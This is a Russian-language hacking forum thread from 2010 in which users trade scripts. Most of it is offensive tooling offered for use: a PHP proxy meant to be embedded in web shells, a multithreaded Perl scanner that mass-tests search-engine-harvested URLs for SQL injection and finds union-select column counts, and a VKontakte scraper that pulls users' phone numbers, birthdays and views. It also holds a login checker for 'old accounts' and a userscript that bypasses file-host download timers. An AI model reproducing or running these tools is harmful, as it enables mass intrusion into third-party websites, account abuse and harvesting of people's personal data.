$blue = '0'.$blue;
if(strlen($green) < 2)
$green = '0'.$green;
fwrite($f, '<td style="background:#'.$red.$green.$blue.';" width="'.$pixel.'" height="'.$pixel.'"></td>');
}
fwrite($f, '</tr>');
}
fwrite($f, '</table>');
fclose($f);
}
?>
Не большой класс PHP Proxy, можно встраивать в шелы (для доступа к разделам сайта где ограничение по IP)
<?php
class WebProxy
{
var $url = '';
var $page = '';
var $content = '';
var $config;
var $brouser = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.6.0';
function WebProxy($cookie = 1, $ref = 1, $arch = 0, $img = 0)
{
$this->config = array('cookie'=>$cookie, 'ref'=>$ref, 'archive'=>$arch, 'img'=>$img);
session_start();
}
function GetPage($url)
{
$this->url = urldecode($url);
$l_url = '';
if($this->config['ref'] == 1)
{
if(!isset($_GET['img']) && isset($_SESSION['url']))
$l_url = $_SESSION['url'];
$_SESSION['url'] = $this->url;
}
$cookie = '';
if(isset($_SESSION['cookie']) && $this->config['cookie'] == 1)
$cookie = $this->implode_x('; ', $_SESSION['cookie']);
$curl = curl_init();
curl_setopt($curl, CURLOPT_USERAGENT, $this->brouser);
curl_setopt($curl, CURLOPT_URL, $this->url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
if(strlen(ini_get('open_basedir')) == 0) // If safe_mode Off
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if($this->config['ref'] == 1)
curl_setopt($curl, CURLOPT_REFERER, 'http://'.$l_url);
if($this->config['cookie'] == 1)
{
curl_setopt($curl, CURLOPT_COOKIESESSION , 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
}
if(sizeof($_POST) > 0)
{
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, implode_x('&', $_POST));
}
$this->page = curl_exec($curl);
}
function ParseHeader()
{
if($this->config['cookie'] == 1)
{
$mass = array();
preg_match_all('~Set-Cookie: ([^\r\n;]*)[\r\n;]~i', $this->page, $mass);
foreach($mass[1] as $val)
{
$cook = explode('=', $val);
$name = trim($cook[0]);
$value = trim($cook[1]);
$_SESSION['cookie'][$name] = $value;
}
}
$one = 1;
$result = explode("\r\n\r\n", $this->page);
for($i=0; $i < sizeof($result); $i++)
if(substr($result[$i], 0, 4) == 'HTTP')
{
if($one)
{
$r = array();
preg_match('/(content-type: [^\r\n]+)/i', $result[$i], $r);
if(isset($r[1])) $this->content = $r[1];
$t = array();
preg_match('/[\r\n]Location: (.+)[\r\n]/Uis', $result[$i], $t);
if(isset($t[1]))
{
header('Location: '.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg(trim($t[1])));
exit();
}
$one = 0;
}
unset($result[$i]);
}
$this->page = implode("\r\n\r\n", $result);
}
function FilterURL()
{
if($this->config['img'] == 0)
{
$this->page = preg_replace_callback('/<([^>]+)(href|action|src)([^>"\']*)(["\'])([^"\']*)(\4)/Uis', array(&$this, 'url_preg'), $this->page);
$this->page = preg_replace_callback('/url\(([^\)]+)\)/Uis', array(&$this, 'url_css_preg'), $this->page);
}
}
function RemoveScript()
{
if($this->config['img'] == 0)
{
$this->page = preg_replace('/<script[^>]*>.+<\/script>/Uis', '', $this->page);
$this->page = preg_replace('/(onload|onmouseover|onmouseout|onmousedown|onmouse up|onclick|onmousemove)[^=]*=([^"])*"[^"]*\2/Uis', '', $this->page);
}
}
function DrawPage()
{
if($this->config['archive'] == 1 && $this->config['img'] == 0)
{
$this->page = preg_replace('/([\r\n\t]|(<![^>]*>)|[ ][ ])/Uis', '', $this->page);
}
if(strlen($this->content) > 1) header($this->content);
echo $this->page;
if($this->config['img'] == 0) $this->form($this->url);
}
function form($url='http://')
{
echo '<hr><div style="text-align:center;"><form action="'.$_SERVER['SCRIPT_NAME'].'" method="GET"><input size="100" id="url" name="url" value="'.
$url.'"><input type="submit" value="GO"></form></div>';
}
function implode_x($x, $a)
{
$str = '';
foreach($a as $key=>$value)
{
if(strlen($str)>1) $str .= $x;
$str .= $key.'='.$value;
}
return $str;
}
function url_css_preg($m)
{
return 'url('.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg($m[1]).')';
}
function url_preg($m)
{
$istring = is_string($m);
$str = $m;
if(!$istring) $str = $m[5];
if(strcmp(substr($str, 0, 2), '//') == 0) $str = 'http:'.$str;
if(strcmp(substr($str, 0, 9), 'javascipt') == 0 && !$istring) return $m[0];
if(substr($str, 0, 4) != 'http')
{
$u = explode('/', $this->url);
$x = explode('/', $str);
if(sizeof($x) == 0)
$str = $u[0].'//'.$u[2].'/';
else if($x[0] == '')
{
unset($x[0]);
$str = $u[0].'//'.$u[2].'/'.implode('/', $x);
}
else if($x[0] == '..')
{
$e = sizeof($u)-1;
if($e > 2) { unset($u[$e]); $e--; unset($x[0]); }
for($i = 1; $i < sizeof($x); $i++)
if($x[$i] == '..' && $e > 2) { unset($u[$e]); $e--; unset($x[$i]); }
else break;
$str = implode('/', $u);
if($str[strlen($str)-1] != '/') $str .= '/';
$str .= implode('/', $x);
}
else
{
if(strpos($u[sizeof($u)-1], '.') != 0) unset($u[sizeof($u)-1]);
$str = implode('/', $u);
if($str[strlen($str)-1] != '/') $str .= '/';
$str .= implode('/', $x);
}
}
$str = urlencode($str);
if($istring) return $str;
if(strcmp($m[2], 'href') == 0 || strcmp($m[2], 'action') == 0) return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'"';
else return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'&img'.$m[6];
}
}
$proxy = new WebProxy(1, 1, 1, isset($_GET['img']));
$proxy->GetPage($_GET['url']);
$proxy->ParseHeader();
$proxy->FilterURL();
$proxy->RemoveScript();
$proxy->DrawPage();
?>
daniel_1024
09.02.2010, 19:37
Вообщем кому надо, вот скрипт проверяющий все урлы в текстовике на sql - инъекцию. Если сайт уязвим, скрипт узнает количество колонок.
Результат записывается в текстовик.
#!/usr/bin/perl -w
##########################################
##########Coded by Daniel_1024 #################
##########################################
use warnings;
use threads;
use threads::shared;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
system(cls);
print "Enter a file with targets:";
$file = <STDIN>;
print "Enter output file:";
$vulnfile=<STDIN>;
print "Enter number of threads:";
$tn=<STDIN>;
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);
my $num = 0;
my @trl = undef;
my $null = "09+and+1=" ;
my $code = "0+union+select+" ;
my $add = '+' ;
my $com ='--';
print "Scan started\n";
for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);}
for(@trl) { $_->join; }
sub test
{
while(@sites){
{ lock(@sites);}
my $site = shift(@sites);
my $i = 0;
my $col = '';
my $specialword = '';
my $injection = $site.$null.$code."0",$com ;
my $useragent = LWP::UserAgent->new();
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->get($injection);
my $result = $response->content;
if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
{
for ($i = 0 ; $i < 35 ; $i ++)
{
$col.=','.$i;
$specialword.=','."0x617a38387069783030713938";
if ($i == 0)
{
$specialword = '' ;
$col = '' ;
}
$sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
$ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
$rq = $ua->get($sql);
$response = $rq->content;
if($response =~ /az88pix00q98/)
{
$i ++;
print "\n[!] The Website $site Is Vulnerable\n" ;
print "[!] It Have $i Columns\n" ;
$sql=$site.$null.$code."0".$col.$com ;
print "=> ".$sql ."\n";
open(vuln_file,">>$vulnfile");
print vuln_file "$sql\n";
close(vuln_file);
}
}
}
else
{
print "[!] The WebSite $site Is Not SQL Vulnerable !\n";
}
}
print "Scan finished";
print "[+] Saved to $vulnfile";
sleep 5;
}
Это очень облегчает работу при проверке отпарсенных с поисковиков сайтов.
скрипт многопоточный, за 10 часов проверяет около 70к ссылок....вообщем нехило....
taxpayer
09.02.2010, 21:22
#!/usr/bin/perl -w
use warnings;
Забавно, зачем включение ключа?
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
Зачем LWP::Simple и HTTP::Request?
print "Enter a file with targets:";
$file = <STDIN>;
Наверно, корректно использование chomp
chomp (my $file = <>)
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);
Использование глобальных переменных не модно вроде как)
open my $desc, '<', $file or die "$!\n";
chomp (my @sites :shared = <$desc>);
close $desc;
my $null = "09+and+1=" ;
my $add = '+' ;
А в чём приоритеты исползования двойных кавычек в данном случае? :)
И в верхних строках ты my не юзаешь , странно как-то
{ lock(@sites);}
my $site = shift(@sites);
замок действует только внутри блока, ты весельчак)
$result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i etc
а в регекспах нет такого my $a = m,a|b|c,i ?
Дальше не читал, там ещё хуже наверно
Думаю, целесообразно скрипт переписать ;)
10 потоков было ограничение в первом сп, хватит какие-то непонятные ограничения на всё ставить :)
VladZombie
11.02.2010, 00:48
Может у кого есть скрипт для преобразование в транслит?
Парсер страницы вконтакте
<?php
$id = '1';
$url = 'http://vkontakte.ru/id'.$id;
$cookie = 'your cookie';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 50);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 50);
$res_curl = curl_exec($ch);
curl_close($ch);
// Head
preg_match('#<span id="activity_text">(.+?)<\/span>#i',$res_curl,$matches);
$finish['status'] = $matches[1];
preg_match('#<div class="profileName">\s+<h2>(.+?)<\/h2>\s+<\/div>#i',$res_curl,$matches);
$finish['full_name'] = $matches[1];
preg_match('#<div align="center">\s+<img src=(.+?) \/>\s+</div>#i',$res_curl,$matches);
$finish['avatar'] = $matches[1];
// Left
preg_match('#<div><h2>Друзья <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['friends'] = $matches[1];
preg_match('#<div><h2>Фото <span>\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['albums'] = $matches[1];
preg_match('#<div><h2>Видео <span id="videos_how_much">\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['videos'] = $matches[1];
preg_match('#<a class="vTitle" href=".+?">(.+?)<\/a><br \/>#i',$res_curl,$matches);
$finish['last_video'] = $matches[1];
preg_match('#<div><h2>Заметки <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['notes'] = $matches[1];
preg_match('#<a href="\/note'.$id.'.+?">(.+?)<\/a>#i',$res_curl,$matches);
$finish['last_note'] = $matches[1];
preg_match('#<div><h2>Приложения <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['apps'] = $matches[1];
preg_match('#<a style="float: left" id=".+" href="/app.+">(.+?)</a>#i',$res_curl,$matches);
$finish['last_app'] = $matches[1];
preg_match('#<div><h2>Вопросы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['questions'] = $matches[1];
preg_match('#<div><h2>Группы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['groups'] = $matches[1];
// Right
preg_match('#<td class="label">Пол:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['sex'] = strip_tags($matches[1]);
preg_match('#<td class="label">Семейное положение:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['family'] = strip_tags($matches[1]);
preg_match('#<td class="label">День рождения:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['birthday'] = strip_tags($matches[1]);
preg_match('#<td class="label">Родной город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['home_city'] = strip_tags($matches[1]);
preg_match('#<td class="label">Полит. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['polit'] = strip_tags($matches[1]);
preg_match('#<td class="label">Религ. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['relig'] = strip_tags($matches[1]);
preg_match('#<td class="label">Город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['city'] = strip_tags($matches[1]);
preg_match('#<td class="label">Моб. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['mob_t'] = strip_tags($matches[1]);
preg_match('#<td class="label">Дом. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['hom_t'] = strip_tags($matches[1]);
preg_match('#<td class="label">ICQ:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['icq'] = strip_tags($matches[1]);
preg_match('#<td class="label">Веб-сайт:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['www'] = strip_tags($matches[1]);
preg_match('#<td class="label">Деятельность:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['activity'] = strip_tags($matches[1]);
preg_match('#<td class="label">Интересы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['interests'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимая музыка:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['music'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые фильмы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['movies'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые телешоу:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['tv_shows'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые книги:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['books'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые игры:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['games'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые цитаты:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['quotes'] = strip_tags($matches[1]);
preg_match('#<td class="label">О себе:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['about'] = strip_tags($matches[1]);
preg_match('#<span>\((.+?) подар.+\)</span>#i',$res_curl,$matches);
$finish['gifts'] = strip_tags($matches[1]);
print_r($finish);
Может у кого есть скрипт для преобразование в транслит?
$file = file_get_contents('rus.txt');
$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$eng_s = array('sch','zh','ts', 'ch','sh','yu', 'ya','a', 'b', 'v', 'g', 'd', 'e', 'e', 'z', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f', 'h', '', 'y', '', 'e');
$file = str_replace($rus_s, $eng_s, $file);
$file1 = fopen('translit.txt', 'w');
fwrite($file1, $file);
fclose($file1);
$file = file_get_contents('rus.txt');
$rus_s = array('щ','ж','ц', 'ч', 'ш', 'ю', 'я','а', 'б', 'в', 'г', 'д', 'е', 'ё', 'з', 'и', 'й', 'к', 'л', 'м', 'н', 'о', 'п', 'р', 'с', 'т', 'у', 'ф', 'х', 'ъ', 'ы', 'ь', 'э');
$qwer_s = array('o',';','w', 'x','i','.', 'z','f', 'd', 'd', 'u', 'l', 't', '`', 'p', 'b', 'q', 'r', 'k', 'v', 'y', 'j', 'g', 'h', 'c', 'n', 'e', 'a', '[', ']', 's', 'm', '\'');
$file = str_replace($rus_s, $qwer_s, $file);
$file1 = fopen('qwer.txt', 'w');
fwrite($file1, $file);
fclose($file1);
Deathdreams
12.02.2010, 21:02
Парсер страницы вконтакте
Ты хоть сам пробовал парсить им ?
Ты хоть сам пробовал парсить им ?
да
Komyak
там такая техника
<?php
$arr= $_POST['arr'];
$olo=array("i" => "и", "b" => "б");
if(array_key_exists($arr, $olo)) {
echo $olo["$arr"] ;
} else {
echo "не существует";
}
?>
там такая техника
Ну дык ему и дали что просил:
Может у кого есть скрипт для преобразование в транслит?
Даже целых две =)) И раскладка и транслит...
я хотел сказать VladZombie :D
<html>
<form id="form1" name="form1" method="post" action="">
<p>mail</p>
<p>
<input name="mail" type="text" id="mail" />
</p>
<p>
Pass</p>
<p>
<input name="pass" type="text" id="pass" />
</p>
<p>Путь до файла с куками </p>
<p>
<input name="cookie" type="text" id="cookie">
</p>
<p>
<input type="submit" name="Submit" value="Считать" />
</p>
</form>
</html>
<?php
$mail=$_POST['mail'];
$pass=$_POST['pass'];
$cookie=$_POST['cookie'];
$date=date("d.m.y");
if(!empty($mail)){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'act=login&try_to_login=1&email='.$mail.'&pass='.$pass.'');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
$result=curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, 'http://vkontakte.ru/profile.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
$result=curl_exec($ch);
curl_close($ch);
preg_match('/<div><h2>Друзья <span>\((.*)\)<\/span><\/h2><\/div>/', $result, $res);
preg_match('/<a href="\/(.*)">главная<\/a>/', $result, $m);
preg_match('/<div><h2>Друзья он-лайн <span>\((.*)\)<\/span><\/h2><\/div>/', $result, $online);
$write=$date. " $m[1]". " Друзей $res[1]". " Друзей онлайн $online[1]";
$fp=fopen("friends.txt", "a");
fputs($fp, $write."\r\n");
fclose($fp);
echo "Статус-готово";
}else{
echo "Статус-введи данные";
}
?>
в общем,потребовалось проверить старые акки вк на кол-во друзей
пишет дату,ид,кол-во всего,кол-во онлайн
Я практически полностью забил свой винт на 250Гб. В папку downloads и заходить страшно - архивы папки... обычно я скачав архив разархивирую его в туже директорию в папку = имени архива. Разгрести все это руками не реально, поэтому я накидал скриптик, который шарится по винту ищет архивы и папки с их именами и удаляет все нафиг. Освободил ~9 Гб!!! места :) теперь думаю проверять время создания и последнего доступа к файлам - и удалить нафиг древний хлам
<?php
// Сканирования каталогов на наличие дублирования имен архивных файлов и папок
// под Win (легко передалть под *nix) by Gar|k
// удаляет папки = имя архива
@set_time_limit(0);
@ini_set('max_execution_time',0);
define(FILE_TYPES,'zip|rar|gz|bz2');
function garik_rmdir($dir) {
$arr_dir=array();
$arr_file=array();
if (is_dir($dir)) { // если дира
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file=='.' || $file=='..') continue;
if(is_dir($dir . $file))
$arr_dir[]=$dir.$file;
else
if(preg_match("/(.*?)\.(".FILE_TYPES.")$/i",$file,$matches)) $arr_file[]=$dir.$matches[1];
}
closedir($dh);
}
}
$res=array_intersect($arr_dir,$arr_file);
foreach($res as $v) {
echo $v."\n";
system('rmdir /s /q "'.$v.'"'); // windows
}
}
// рекурсивная функция которая проходится по всем каталогам запуская там поиск
function recurse($dir) {
if(is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file=='.' || $file=='..') continue;
if(is_dir($dir . $file)) {
garik_rmdir($dir.$file.'\\');
recurse($dir.$file.'\\');
}
}
closedir($dh);
}
}
}
recurse("g:\\"); //понеслась
?>
З.Ы: скрипт тупой ) но может кто-то разберет на его примере работу с рекурсивными функциями и директориями
HARD2638
19.02.2010, 02:46
Вот решил выложить скриптик,сохранять его нужно в формате js,
предназначен для сбрасывания счетчика времени при скачивании с
файлообменников depositfiles.com и letitbit.net. Работает через оперу
Установка:
Откройте Opera
Меню / Инструменты / Настройки / Содержимое
1. Поставьте галочку возле JavaScript
2. Нажмите кнопку "Настроить JavaScript"
Посмотрите, что прописано в "Папка пользовательских файлов JavaScript"
Если там пустое поле, то укажите сюда путь к ней с помощью кнопки Обзор
// ==UserScript==
// @include *depositfiles.com/*
// @include *letitbit.net/*
// ==/UserScript==
var is_load;
document.addEventListener(
'load',
function (e) {
is_load=document.body;
if( !is_load ) { return; }
DoHack();
},
false
);
setInterval("DoHack()",500);
// **************************************
function DoHack() {
if( !is_load ) { return; }
is_load=false;
var host=window.location.hostname;
if (host=='depositfiles.com') DepositHack();
if (host=='letitbit.net') LetitbitHack();
}
// ********************************
function LetitbitHack() {
var topIfr = document.getElementById('topFrame');
var mainIfr = document.getElementById('mainFrame');
if ((topIfr!=null) && (mainIfr!=null)) {
document.location.href=topIfr.src;
return;
}
var el1=document.getElementById('errt');
var el2=document.getElementById('links');
if (el1 && el2) {
el1.style.display="none";
el2.style.display='block';
var mydiv = document.createElement('div');
mydiv.style.position = 'fixed';
mydiv.style.top = '100px';
mydiv.style.left = '0px';
mydiv.style.color = '#000000';
mydiv.style.width = '100%';
document.body.appendChild(mydiv);
mydiv.innerHTML='<center><a href="http://www.hackzone.ru"><h2>Hacked by HACKZONE.RU</h2></a></center>';
}
}
// ********************************
function DepositHack() {
var obj_timer = document.getElementById('download_waiter');
if (obj_timer) {
obj_timer.destroy;
obj_timer.innerHTML='<a href="http://www.hackzone.ru" style="font-color:red;font-size:14px;font-weight:bold;">Hacked by HACKZONE.RU</a>';
var obj_url = document.getElementById('download_url');
obj_url.style.display='block';
}
}
ReduKToR
19.02.2010, 14:08
Скиньте допотопный чекер прокси.Без всяких наворотов.чисто сам класс
HARD2638
21.02.2010, 01:21
Скиньте допотопный чекер прокси.Без всяких наворотов.чисто сам класс
Вот держи,старенький,но зато рабочий)))
<? /************************************************** ************** * * * * * This will perform a basic connectivity and anonymity test * * * * Simply upload to a php enabled webserver and change the * * configurable parameters below if you so desire * * * * 2005-11-11 v0.1 - Compatible with Charon v0.5.3.5 * ************************************************** **************/ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><title>Online proxy tester</title></head> <body bgcolor="black" text="white"> <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 5; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { echo 'Testing ' . $proxies[$thisproxy] . ' .....'; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo '.. Anon<br>' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo '.. Non anon<br>' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo '.. Dead<br>' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo '<br><b>Anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo '<br><b>Non-anonymous proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo '<br><b>Dead proxies</b>' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) echo $bad_proxies[$thisproxy] . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<h2>Online Proxy checker</h2>' . "\n"; echo '<h4>(http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . ')</h4>' . "\n"; echo 'Enter up to a maximum of ' . $maximum_proxies_to_test . ' prox' . ($maximum_proxies_to_test == 1 ? 'y' : 'ies') . ' to test' . "\n"; echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=35 rows=' . $maximum_proxies_to_test . '></textarea><br>' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"><br>' . "\n"; echo '<input type="submit" value="Check proxies">' . "\n"; echo '</form>' . "\n"; } ?> </body> </html>
daniel_1024
22.02.2010, 15:17
не знаете есть в паблике скрипт записи своего кода во все страницы на своем сайте ?! кода права рут...
желательно на пхп
Patronik
23.02.2010, 01:47
Короче делал грабер и парсер как расшырение поиска по википедии по текущей публикации для водпреса. Но оказалось блин что на хостинге отключен курл. А так локалхосте работает. Может кому-то пригодиться.
<html>
<head>
<title>Parser</title>
</head>
<META http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
.urls
a:link {
FONT-SIZE:10pt; color: #008040;
text-decoration:none;
font-weight: bold;
font-family: Verdana, Arial;}
a:visited {
FONT-SIZE:10pt; color: #008040;
text-decoration:none;
font-weight: bold;
font-family: Verdana, Arial;}
a:active {
FONT-SIZE:10pt; color: #000000;
text-decoration:none;
font-weight: bold;
font-family: Verdana, Arial;}
a:hover {
FONT-SIZE:10pt; color: #000000;
text-decoration:none;
font-weight: bold;
font-family: Verdana, Arial;
}
.urls
{
position: absolute;
top: 20%;
width: 700px;
}
</style>
<body>
<?php
// запрос
$zapros = "Секс";
if ( isset($zapros) )
{
// Урл
$target = "http://uk.wikipedia.org/w/index.php";
// инициализация cURL
$ch = curl_init($target);
// получать заголовки
